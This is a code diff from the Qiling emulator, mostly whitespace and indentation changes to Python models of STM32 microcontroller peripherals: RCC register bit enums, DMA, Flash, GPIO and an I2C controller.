I2C2LPEN = 1 << 22
|
||||
I2C3LPEN = 1 << 23
|
||||
PWRLPEN = 1 << 28
|
||||
TIM2LPEN = 1 << 0
|
||||
TIM3LPEN = 1 << 1
|
||||
TIM4LPEN = 1 << 2
|
||||
TIM5LPEN = 1 << 3
|
||||
WWDGLPEN = 1 << 11
|
||||
SPI2LPEN = 1 << 14
|
||||
SPI3LPEN = 1 << 15
|
||||
USART2LPEN = 1 << 17
|
||||
I2C1LPEN = 1 << 21
|
||||
I2C2LPEN = 1 << 22
|
||||
I2C3LPEN = 1 << 23
|
||||
PWRLPEN = 1 << 28
|
||||
|
||||
class RCC_APB2LPENR(IntEnum):
|
||||
TIM1LPEN = 1 << 0
|
||||
USART1LPEN = 1 << 4
|
||||
USART6LPEN = 1 << 5
|
||||
ADC1LPEN = 1 << 8
|
||||
SDIOLPEN = 1 << 11
|
||||
SPI1LPEN = 1 << 12
|
||||
SPI4LPEN = 1 << 13
|
||||
SYSCFGLPEN = 1 << 14
|
||||
TIM9LPEN = 1 << 16
|
||||
TIM10LPEN = 1 << 17
|
||||
TIM11LPEN = 1 << 18
|
||||
SPI5LPEN = 1 << 20
|
||||
TIM1LPEN = 1 << 0
|
||||
USART1LPEN = 1 << 4
|
||||
USART6LPEN = 1 << 5
|
||||
ADC1LPEN = 1 << 8
|
||||
SDIOLPEN = 1 << 11
|
||||
SPI1LPEN = 1 << 12
|
||||
SPI4LPEN = 1 << 13
|
||||
SYSCFGLPEN = 1 << 14
|
||||
TIM9LPEN = 1 << 16
|
||||
TIM10LPEN = 1 << 17
|
||||
TIM11LPEN = 1 << 18
|
||||
SPI5LPEN = 1 << 20
|
||||
|
||||
class RCC_BDCR(IntEnum):
|
||||
LSEON = 1 << 0
|
||||
LSERDY = 1 << 1
|
||||
LSEBYP = 1 << 2
|
||||
LSEMOD = 1 << 3
|
||||
RTCSEL = 0x3 << 8
|
||||
RTCEN = 1 << 15
|
||||
BDRST = 1 << 16
|
||||
LSEON = 1 << 0
|
||||
LSERDY = 1 << 1
|
||||
LSEBYP = 1 << 2
|
||||
LSEMOD = 1 << 3
|
||||
RTCSEL = 0x3 << 8
|
||||
RTCEN = 1 << 15
|
||||
BDRST = 1 << 16
|
||||
|
||||
class RCC_CSR(IntEnum):
|
||||
LSION = 1 << 0
|
||||
LSIRDY = 1 << 1
|
||||
RMVF = 1 << 24
|
||||
BORRSTF = 1 << 25
|
||||
PINRSTF = 1 << 26
|
||||
PORRSTF = 1 << 27
|
||||
SFTRSTF = 1 << 28
|
||||
IWDGRSTF = 1 << 29
|
||||
WWDGRSTF = 1 << 30
|
||||
LPWRRSTF = 1 << 31
|
||||
LSION = 1 << 0
|
||||
LSIRDY = 1 << 1
|
||||
RMVF = 1 << 24
|
||||
BORRSTF = 1 << 25
|
||||
PINRSTF = 1 << 26
|
||||
PORRSTF = 1 << 27
|
||||
SFTRSTF = 1 << 28
|
||||
IWDGRSTF = 1 << 29
|
||||
WWDGRSTF = 1 << 30
|
||||
LPWRRSTF = 1 << 31
|
||||
|
||||
class RCC_SSCGR(IntEnum):
|
||||
MODPER = 0x1fff << 0
|
||||
INCSTEP = 0x7fff << 13
|
||||
SPREADSEL = 1 << 30
|
||||
SSCGEN = 1 << 31
|
||||
MODPER = 0x1fff << 0
|
||||
INCSTEP = 0x7fff << 13
|
||||
SPREADSEL = 1 << 30
|
||||
SSCGEN = 1 << 31
|
||||
|
||||
class RCC_PLLI2SCFGR(IntEnum):
|
||||
PLLI2SM = 0x3f << 0
|
||||
PLLI2SN = 0x1ff << 6
|
||||
PLLI2SR = 0x7 << 28
|
||||
PLLI2SM = 0x3f << 0
|
||||
PLLI2SN = 0x1ff << 6
|
||||
PLLI2SR = 0x7 << 28
|
||||
|
||||
class RCC_DCKCFGR(IntEnum):
|
||||
TIMPRE = 1 << 24
|
||||
TIMPRE = 1 << 24
|
||||
|
||||
@@ -69,36 +69,36 @@ class Stream(ctypes.Structure):
|
||||
class STM32F4xxDma(QlPeripheral):
|
||||
class Type(ctypes.Structure):
|
||||
""" the structure available in :
|
||||
stm32f413xx.h
|
||||
stm32f407xx.h
|
||||
stm32f469xx.h
|
||||
stm32f446xx.h
|
||||
stm32f427xx.h
|
||||
stm32f401xc.h
|
||||
stm32f415xx.h
|
||||
stm32f412cx.h
|
||||
stm32f410rx.h
|
||||
stm32f410tx.h
|
||||
stm32f439xx.h
|
||||
stm32f412vx.h
|
||||
stm32f417xx.h
|
||||
stm32f479xx.h
|
||||
stm32f429xx.h
|
||||
stm32f412rx.h
|
||||
stm32f423xx.h
|
||||
stm32f437xx.h
|
||||
stm32f412zx.h
|
||||
stm32f401xe.h
|
||||
stm32f410cx.h
|
||||
stm32f405xx.h
|
||||
stm32f411xe.h
|
||||
"""
|
||||
stm32f413xx.h
|
||||
stm32f407xx.h
|
||||
stm32f469xx.h
|
||||
stm32f446xx.h
|
||||
stm32f427xx.h
|
||||
stm32f401xc.h
|
||||
stm32f415xx.h
|
||||
stm32f412cx.h
|
||||
stm32f410rx.h
|
||||
stm32f410tx.h
|
||||
stm32f439xx.h
|
||||
stm32f412vx.h
|
||||
stm32f417xx.h
|
||||
stm32f479xx.h
|
||||
stm32f429xx.h
|
||||
stm32f412rx.h
|
||||
stm32f423xx.h
|
||||
stm32f437xx.h
|
||||
stm32f412zx.h
|
||||
stm32f401xe.h
|
||||
stm32f410cx.h
|
||||
stm32f405xx.h
|
||||
stm32f411xe.h
|
||||
"""
|
||||
|
||||
_fields_ = [
|
||||
('LISR' , ctypes.c_uint32), # DMA low interrupt status register, Address offset: 0x00
|
||||
('HISR' , ctypes.c_uint32), # DMA high interrupt status register, Address offset: 0x04
|
||||
('LIFCR', ctypes.c_uint32), # DMA low interrupt flag clear register, Address offset: 0x08
|
||||
('HIFCR', ctypes.c_uint32), # DMA high interrupt flag clear register, Address offset: 0x0C
|
||||
('LISR' , ctypes.c_uint32), # DMA low interrupt status register, Address offset: 0x00
|
||||
('HISR' , ctypes.c_uint32), # DMA high interrupt status register, Address offset: 0x04
|
||||
('LIFCR', ctypes.c_uint32), # DMA low interrupt flag clear register, Address offset: 0x08
|
||||
('HIFCR', ctypes.c_uint32), # DMA high interrupt flag clear register, Address offset: 0x0C
|
||||
('stream', Stream * 8),
|
||||
]
|
||||
|
||||
|
||||
@@ -43,7 +43,7 @@ class STM32F1xxFlash(QlPeripheral):
|
||||
self.instance = self.struct()
|
||||
|
||||
@QlPeripheral.monitor()
|
||||
def read(self, offset: int, size: int) -> int:
|
||||
def read(self, offset: int, size: int) -> int:
|
||||
buf = ctypes.create_string_buffer(size)
|
||||
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
|
||||
return int.from_bytes(buf.raw, byteorder='little')
|
||||
|
||||
@@ -55,7 +55,7 @@ class STM32F4xxFlash(QlPeripheral):
|
||||
self.instance = self.struct()
|
||||
|
||||
@QlPeripheral.monitor()
|
||||
def read(self, offset: int, size: int) -> int:
|
||||
def read(self, offset: int, size: int) -> int:
|
||||
buf = ctypes.create_string_buffer(size)
|
||||
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
|
||||
return int.from_bytes(buf.raw, byteorder='little')
|
||||
|
||||
@@ -39,7 +39,7 @@ class GD32VF1xxGpio(QlPeripheral, GpioHooks):
|
||||
)
|
||||
|
||||
@QlPeripheral.monitor()
|
||||
def read(self, offset: int, size: int) -> int:
|
||||
def read(self, offset: int, size: int) -> int:
|
||||
buf = ctypes.create_string_buffer(size)
|
||||
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
|
||||
return int.from_bytes(buf.raw, byteorder='little')
|
||||
|
||||
@@ -38,7 +38,7 @@ class STM32F1xxAfio(QlPeripheral):
|
||||
self.instance = self.struct()
|
||||
|
||||
@QlPeripheral.monitor()
|
||||
def read(self, offset: int, size: int) -> int:
|
||||
def read(self, offset: int, size: int) -> int:
|
||||
buf = ctypes.create_string_buffer(size)
|
||||
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
|
||||
return int.from_bytes(buf.raw, byteorder='little')
|
||||
|
||||
@@ -36,7 +36,7 @@ class STM32F4xxGpio(STM32F1xxGpio):
|
||||
stm32f410cx.h
|
||||
stm32f405xx.h
|
||||
stm32f411xe.h
|
||||
"""
|
||||
"""
|
||||
|
||||
_fields_ = [
|
||||
('MODER' , ctypes.c_uint32), # GPIO port mode register, Address offset: 0x00
|
||||
|
||||
+187
-187
@@ -13,226 +13,226 @@ from qiling.hw.utils.access import Access, AccessSequence, Action
|
||||
|
||||
|
||||
class STM32F4xxI2c(QlConnectivityPeripheral):
|
||||
class Type(ctypes.Structure):
|
||||
""" the structure is available in :
|
||||
stm32f423xx.h
|
||||
stm32f469xx.h
|
||||
stm32f427xx.h
|
||||
stm32f479xx.h
|
||||
stm32f413xx.h
|
||||
stm32f429xx.h
|
||||
stm32f439xx.h
|
||||
stm32f412cx.h
|
||||
stm32f412rx.h
|
||||
stm32f410tx.h
|
||||
stm32f410cx.h
|
||||
stm32f412zx.h
|
||||
stm32f446xx.h
|
||||
stm32f401xc.h
|
||||
stm32f437xx.h
|
||||
stm32f401xe.h
|
||||
stm32f412vx.h
|
||||
stm32f410rx.h
|
||||
stm32f411xe.h
|
||||
"""
|
||||
class Type(ctypes.Structure):
|
||||
""" the structure is available in :
|
||||
stm32f423xx.h
|
||||
stm32f469xx.h
|
||||
stm32f427xx.h
|
||||
stm32f479xx.h
|
||||
stm32f413xx.h
|
||||
stm32f429xx.h
|
||||
stm32f439xx.h
|
||||
stm32f412cx.h
|
||||
stm32f412rx.h
|
||||
stm32f410tx.h
|
||||
stm32f410cx.h
|
||||
stm32f412zx.h
|
||||
stm32f446xx.h
|
||||
stm32f401xc.h
|
||||
stm32f437xx.h
|
||||
stm32f401xe.h
|
||||
stm32f412vx.h
|
||||
stm32f410rx.h
|
||||
stm32f411xe.h
|
||||
"""
|
||||
|
||||
_fields_ = [
|
||||
('CR1' , ctypes.c_uint32), # I2C Control register 1, Address offset: 0x00
|
||||
('CR2' , ctypes.c_uint32), # I2C Control register 2, Address offset: 0x04
|
||||
('OAR1' , ctypes.c_uint32), # I2C Own address register 1, Address offset: 0x08
|
||||
('OAR2' , ctypes.c_uint32), # I2C Own address register 2, Address offset: 0x0C
|
||||
('DR' , ctypes.c_uint32), # I2C Data register, Address offset: 0x10
|
||||
('SR1' , ctypes.c_uint32), # I2C Status register 1, Address offset: 0x14
|
||||
('SR2' , ctypes.c_uint32), # I2C Status register 2, Address offset: 0x18
|
||||
('CCR' , ctypes.c_uint32), # I2C Clock control register, Address offset: 0x1C
|
||||
('TRISE', ctypes.c_uint32), # I2C TRISE register, Address offset: 0x20
|
||||
('FLTR' , ctypes.c_uint32), # I2C FLTR register, Address offset: 0x24
|
||||
]
|
||||
_fields_ = [
|
||||
('CR1' , ctypes.c_uint32), # I2C Control register 1, Address offset: 0x00
|
||||
('CR2' , ctypes.c_uint32), # I2C Control register 2, Address offset: 0x04
|
||||
('OAR1' , ctypes.c_uint32), # I2C Own address register 1, Address offset: 0x08
|
||||
('OAR2' , ctypes.c_uint32), # I2C Own address register 2, Address offset: 0x0C
|
||||
('DR' , ctypes.c_uint32), # I2C Data register, Address offset: 0x10
|
||||
('SR1' , ctypes.c_uint32), # I2C Status register 1, Address offset: 0x14
|
||||
('SR2' , ctypes.c_uint32), # I2C Status register 2, Address offset: 0x18
|
||||
('CCR' , ctypes.c_uint32), # I2C Clock control register, Address offset: 0x1C
|
||||
('TRISE', ctypes.c_uint32), # I2C TRISE register, Address offset: 0x20
|
||||
('FLTR' , ctypes.c_uint32), # I2C FLTR register, Address offset: 0x24
|
||||
]
|
||||
|
||||
def __init__(self, ql, label, ev_intn=None, er_intn=None):
|
||||
super().__init__(ql, label, 2)
|
||||
def __init__(self, ql, label, ev_intn=None, er_intn=None):
|
||||
super().__init__(ql, label, 2)
|
||||
|
||||
self.history = AccessSequence()
|
||||
self.history = AccessSequence()
|
||||
|
||||
self.ev_intn = ev_intn # event interrupt
|
||||
self.er_intn = er_intn # error interrupt
|
||||
|
||||
self.reset()
|
||||
self.ev_intn = ev_intn # event interrupt
|
||||
self.er_intn = er_intn # error interrupt
|
||||
|
||||
self.reset()
|
||||
|
||||
def reset(self):
|
||||
self.instance = self.struct(
|
||||
TRISE = 0x0002
|
||||
)
|
||||
def reset(self):
|
||||
self.instance = self.struct(
|
||||
TRISE = 0x0002
|
||||
)
|
||||
|
||||
@QlPeripheral.recorder()
|
||||
@QlPeripheral.monitor()
|
||||
def read(self, offset: int, size: int) -> int:
|
||||
buf = ctypes.create_string_buffer(size)
|
||||
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
|
||||
@QlPeripheral.recorder()
|
||||
@QlPeripheral.monitor()
|
||||
def read(self, offset: int, size: int) -> int:
|
||||
buf = ctypes.create_string_buffer(size)
|
||||
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
|
||||
|
||||
if self.history.match([
|
||||
Access(Action.READ, self.struct.SR1.offset),
|
||||
Access(Action.READ, self.struct.SR2.offset)
|
||||
]):
|
||||
self.instance.SR1 &= ~I2C_SR1.ADDR
|
||||
if self.history.match([
|
||||
Access(Action.READ, self.struct.SR1.offset),
|
||||
Access(Action.READ, self.struct.SR2.offset)
|
||||
]):
|
||||
self.instance.SR1 &= ~I2C_SR1.ADDR
|
||||
|
||||
return int.from_bytes(buf.raw, byteorder='little')
|
||||
return int.from_bytes(buf.raw, byteorder='little')
|
||||
|
||||
@QlPeripheral.recorder()
|
||||
@QlPeripheral.monitor()
|
||||
def write(self, offset: int, size: int, value: int):
|
||||
if offset in [self.struct.SR1.offset, self.struct.SR2.offset]:
|
||||
return
|
||||
@QlPeripheral.recorder()
|
||||
@QlPeripheral.monitor()
|
||||
def write(self, offset: int, size: int, value: int):
|
||||
if offset in [self.struct.SR1.offset, self.struct.SR2.offset]:
|
||||
return
|
||||
|
||||
if offset == self.struct.CR1.offset:
|
||||
self.instance.CR1 = value & I2C_CR1.RW_MASK
|
||||
if offset == self.struct.CR1.offset:
|
||||
self.instance.CR1 = value & I2C_CR1.RW_MASK
|
||||
|
||||
if value & I2C_CR1.START:
|
||||
self.generate_start()
|
||||
if value & I2C_CR1.START:
|
||||
self.generate_start()
|
||||
|
||||
if value & I2C_CR1.STOP:
|
||||
self.generate_stop()
|
||||
if value & I2C_CR1.STOP:
|
||||
self.generate_stop()
|
||||
|
||||
return
|
||||
return
|
||||
|
||||
if offset == self.struct.DR.offset:
|
||||
self.instance.DR = value & I2C_DR.DR
|
||||
self.instance.SR1 &= ~I2C_SR1.TXE
|
||||
if offset == self.struct.DR.offset:
|
||||
self.instance.DR = value & I2C_DR.DR
|
||||
self.instance.SR1 &= ~I2C_SR1.TXE
|
||||
|
||||
if self.is_master_mode():
|
||||
if self.is_7bit_mode():
|
||||
if self.instance.SR2 & I2C_SR2.TRA:
|
||||
self.send_data()
|
||||
if self.is_master_mode():
|
||||
if self.is_7bit_mode():
|
||||
if self.instance.SR2 & I2C_SR2.TRA:
|
||||
self.send_data()
|
||||
|
||||
else:
|
||||
self.send_address()
|
||||
else:
|
||||
self.send_address()
|
||||
|
||||
# TODO 10-bit mode
|
||||
# TODO 10-bit mode
|
||||
|
||||
return
|
||||
return
|
||||
|
||||
data = (value).to_bytes(size, 'little')
|
||||
ctypes.memmove(ctypes.addressof(self.instance) + offset, data, size)
|
||||
data = (value).to_bytes(size, 'little')
|
||||
ctypes.memmove(ctypes.addressof(self.instance) + offset, data, size)
|
||||
|
||||
## I2C Control register 2 (I2C_CR2)
|
||||
def send_event_interrupt(self):
|
||||
"""
|
||||
ITBUFEN: Buffer interrupt enable
|
||||
0: TxE = 1 or RxNE = 1 does not generate any interrupt.
|
||||
1: TxE = 1 or RxNE = 1 generates Event Interrupt (whatever the state of DMAEN)
|
||||
## I2C Control register 2 (I2C_CR2)
|
||||
def send_event_interrupt(self):
|
||||
"""
|
||||
ITBUFEN: Buffer interrupt enable
|
||||
0: TxE = 1 or RxNE = 1 does not generate any interrupt.
|
||||
1: TxE = 1 or RxNE = 1 generates Event Interrupt (whatever the state of DMAEN)
|
||||
|
||||
ITEVTEN: Event interrupt enable
|
||||
0: Event interrupt disabled
|
||||
1: Event interrupt enabled
|
||||
This interrupt is generated when:
|
||||
- SB = 1 (Master)
|
||||
- ADDR = 1 (Master/Slave)
|
||||
- ADD10= 1 (Master)
|
||||
- STOPF = 1 (Slave)
|
||||
- BTF = 1 with no TxE or RxNE event
|
||||
- TxE event to 1 if ITBUFEN = 1
|
||||
- RxNE event to 1if ITBUFEN = 1
|
||||
"""
|
||||
if self.ev_intn is None:
|
||||
return
|
||||
|
||||
if not self.instance.CR2 & I2C_CR2.ITEVTEN:
|
||||
return
|
||||
ITEVTEN: Event interrupt enable
|
||||
0: Event interrupt disabled
|
||||
1: Event interrupt enabled
|
||||
This interrupt is generated when:
|
||||
- SB = 1 (Master)
|
||||
- ADDR = 1 (Master/Slave)
|
||||
- ADD10= 1 (Master)
|
||||
- STOPF = 1 (Slave)
|
||||
- BTF = 1 with no TxE or RxNE event
|
||||
- TxE event to 1 if ITBUFEN = 1
|
||||
- RxNE event to 1if ITBUFEN = 1
|
||||
"""
|
||||
if self.ev_intn is None:
|
||||
return
|
||||
|
||||
if not self.instance.CR2 & I2C_CR2.ITEVTEN:
|
||||
return
|
||||
|
||||
BUF_IT = I2C_SR1.TXE|I2C_SR1.RXNE
|
||||
SLAVE_IT = I2C_SR1.STOPF|I2C_SR1.ADDR|I2C_SR1.BTF
|
||||
MASTER_IT = I2C_SR1.SB|I2C_SR1.ADDR|I2C_SR1.ADD10|I2C_SR1.BTF
|
||||
BUF_IT = I2C_SR1.TXE|I2C_SR1.RXNE
|
||||
SLAVE_IT = I2C_SR1.STOPF|I2C_SR1.ADDR|I2C_SR1.BTF
|
||||
MASTER_IT = I2C_SR1.SB|I2C_SR1.ADDR|I2C_SR1.ADD10|I2C_SR1.BTF
|
||||
|
||||
if (self.instance.CR2 & I2C_CR2.ITBUFEN and self.instance.SR1 & BUF_IT) or \
|
||||
(self.is_slave_mode() and self.instance.SR1 & SLAVE_IT) or \
|
||||
(self.is_master_mode() and self.instance.SR1 & MASTER_IT):
|
||||
self.ql.hw.nvic.set_pending(self.ev_intn)
|
||||
if (self.instance.CR2 & I2C_CR2.ITBUFEN and self.instance.SR1 & BUF_IT) or \
|
||||
(self.is_slave_mode() and self.instance.SR1 & SLAVE_IT) or \
|
||||
(self.is_master_mode() and self.instance.SR1 & MASTER_IT):
|
||||
self.ql.hw.nvic.set_pending(self.ev_intn)
|
||||
|
||||
## I2C Status register 1 (I2C_SR1)
|
||||
def generate_start(self):
|
||||
"""
|
||||
SB: Start bit (Master mode)
|
||||
0: No Start condition
|
||||
1: Start condition generated.
|
||||
- Set when a Start condition generated.
|
||||
- Cleared by software by reading the SR1 register followed by writing the DR register, or by hardware when PE=0
|
||||
"""
|
||||
## I2C Status register 1 (I2C_SR1)
|
||||
def generate_start(self):
|
||||
"""
|
||||
SB: Start bit (Master mode)
|
||||
0: No Start condition
|
||||
1: Start condition generated.
|
||||
- Set when a Start condition generated.
|
||||
- Cleared by software by reading the SR1 register followed by writing the DR register, or by hardware when PE=0
|
||||
"""
|
||||
|
||||
# TODO: generate a start condition
|
||||
self.fetch_device_address()
|
||||
self.instance.SR1 |= I2C_SR1.SB
|
||||
self.instance.CR1 &= ~I2C_CR1.START
|
||||
# TODO: generate a start condition
|
||||
self.fetch_device_address()
|
||||
self.instance.SR1 |= I2C_SR1.SB
|
||||
self.instance.CR1 &= ~I2C_CR1.START
|
||||
|
||||
self.set_master_mode()
|
||||
self.set_master_mode()
|
||||
|
||||
def generate_stop(self):
|
||||
# TODO: generate a stop condition
|
||||
self.instance.CR1 &= ~I2C_CR1.STOP
|
||||
|
||||
self.instance.SR1 |= I2C_SR1.STOPF
|
||||
self.instance.SR1 &= ~I2C_SR1.ADDR
|
||||
|
||||
self.set_slave_mode()
|
||||
self.instance.SR2 &= ~I2C_SR2.TRA
|
||||
|
||||
def send_address(self):
|
||||
if self.instance.DR == self.instance.OAR1 >> 1:
|
||||
|
||||
# TODO: send ACK
|
||||
self.instance.SR1 &= ~I2C_SR1.SB
|
||||
self.instance.SR1 |= I2C_SR1.ADDR | I2C_SR1.TXE | I2C_SR1.AF
|
||||
self.instance.SR2 |= I2C_SR2.TRA
|
||||
def generate_stop(self):
|
||||
# TODO: generate a stop condition
|
||||
self.instance.CR1 &= ~I2C_CR1.STOP
|
||||
|
||||
self.instance.SR1 |= I2C_SR1.STOPF
|
||||
self.instance.SR1 &= ~I2C_SR1.ADDR
|
||||
|
||||
self.set_slave_mode()
|
||||
self.instance.SR2 &= ~I2C_SR2.TRA
|
||||
|
||||
def send_address(self):
|
||||
if self.instance.DR == self.instance.OAR1 >> 1:
|
||||
|
||||
# TODO: send ACK
|
||||
self.instance.SR1 &= ~I2C_SR1.SB
|
||||
self.instance.SR1 |= I2C_SR1.ADDR | I2C_SR1.TXE | I2C_SR1.AF
|
||||
self.instance.SR2 |= I2C_SR2.TRA
|
||||
|
||||
def send_data(self):
|
||||
self.instance.SR1 |= I2C_SR1.BTF | I2C_SR1.TXE
|
||||
def send_data(self):
|
||||
self.instance.SR1 |= I2C_SR1.BTF | I2C_SR1.TXE
|
||||
|
||||
self.send_to_user(self.instance.DR)
|
||||
self.send_to_user(self.instance.DR)
|
||||
|
||||
## I2C Status register 2 (I2C_SR2)
|
||||
def is_master_mode(self):
|
||||
"""
|
||||
I2C Status register 2 (I2C_SR2) MSL bit
|
||||
0: Slave Mode
|
||||
1: Master Mode
|
||||
"""
|
||||
return self.instance.SR2 & I2C_SR2.MSL
|
||||
## I2C Status register 2 (I2C_SR2)
|
||||
def is_master_mode(self):
|
||||
"""
|
||||
I2C Status register 2 (I2C_SR2) MSL bit
|
||||
0: Slave Mode
|
||||
1: Master Mode
|
||||
"""
|
||||
return self.instance.SR2 & I2C_SR2.MSL
|
||||
|
||||
def is_slave_mode(self):
|
||||
return not self.is_master_mode()
|
||||
def is_slave_mode(self):
|
||||
return not self.is_master_mode()
|
||||
|
||||
def set_master_mode(self):
|
||||
"""
|
||||
I2C Status register 2 (I2C_SR2) MSL bit
|
||||
- Set by hardware as soon as the interface is in Master mode (SB=1)
|
||||
"""
|
||||
self.instance.SR2 |= I2C_SR2.MSL
|
||||
|
||||
def set_slave_mode(self):
|
||||
"""
|
||||
I2C Status register 2 (I2C_SR2) MSL bit
|
||||
- Cleared by hardware after detecting a Stop condition on the bus
|
||||
or a loss of arbitration (ARLO=1), or by hardware when PE=0.
|
||||
"""
|
||||
self.instance.SR2 &= ~I2C_SR2.MSL
|
||||
def set_master_mode(self):
|
||||
"""
|
||||
I2C Status register 2 (I2C_SR2) MSL bit
|
||||
- Set by hardware as soon as the interface is in Master mode (SB=1)
|
||||
"""
|
||||
self.instance.SR2 |= I2C_SR2.MSL
|
||||
|
||||
def set_slave_mode(self):
|
||||
"""
|
||||
I2C Status register 2 (I2C_SR2) MSL bit
|
||||
- Cleared by hardware after detecting a Stop condition on the bus
|
||||
or a loss of arbitration (ARLO=1), or by hardware when PE=0.
|
||||
"""
|
||||
self.instance.SR2 &= ~I2C_SR2.MSL
|
||||
|
||||
## I2C Own address register 1 (I2C_OAR1)
|
||||
def is_7bit_mode(self):
|
||||
return self.instance.OAR2 & I2C_OAR2.ENDUAL or not self.instance.OAR1 & I2C_OAR1.ADDMODE
|
||||
## I2C Own address register 1 (I2C_OAR1)
|
||||
def is_7bit_mode(self):
|
||||
return self.instance.OAR2 & I2C_OAR2.ENDUAL or not self.instance.OAR1 & I2C_OAR1.ADDMODE
|
||||
|
||||
def fetch_device_address(self):
|
||||
# dual addressing mode
|
||||
if self.instance.OAR2 & I2C_OAR2.ENDUAL:
|
||||
self.instance.OAR1 = self.device_list[0].address << 1
|
||||
self.instance.OAR2 = I2C_OAR2.ENDUAL | (self.device_list[1].address << 1)
|
||||
def fetch_device_address(self):
|
||||
# dual addressing mode
|
||||
if self.instance.OAR2 & I2C_OAR2.ENDUAL:
|
||||
self.instance.OAR1 = self.device_list[0].address << 1
|
||||
self.instance.OAR2 = I2C_OAR2.ENDUAL | (self.device_list[1].address << 1)
|
||||
|
||||
# single device, 10-bit slave address
|
||||
elif self.instance.OAR1 & I2C_OAR1.ADDMODE:
|
||||
self.instance.OAR1 = I2C_OAR1.ADDMODE | self.device_list[0].address
|
||||
|
||||
# single device, 7-bit slave address
|
||||
else:
|
||||
self.instance.OAR1 = self.device_list[0].address << 1
|
||||
# single device, 10-bit slave address
|
||||
elif self.instance.OAR1 & I2C_OAR1.ADDMODE:
|
||||
self.instance.OAR1 = I2C_OAR1.ADDMODE | self.device_list[0].address
|
||||
|
||||
# single device, 7-bit slave address
|
||||
else:
|
||||
self.instance.OAR1 = self.device_list[0].address << 1
|
||||
|
||||
@QlConnectivityPeripheral.device_handler
|
||||
def step(self):
|
||||
self.send_event_interrupt()
|
||||
@QlConnectivityPeripheral.device_handler
|
||||
def step(self):
|
||||
self.send_event_interrupt()
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user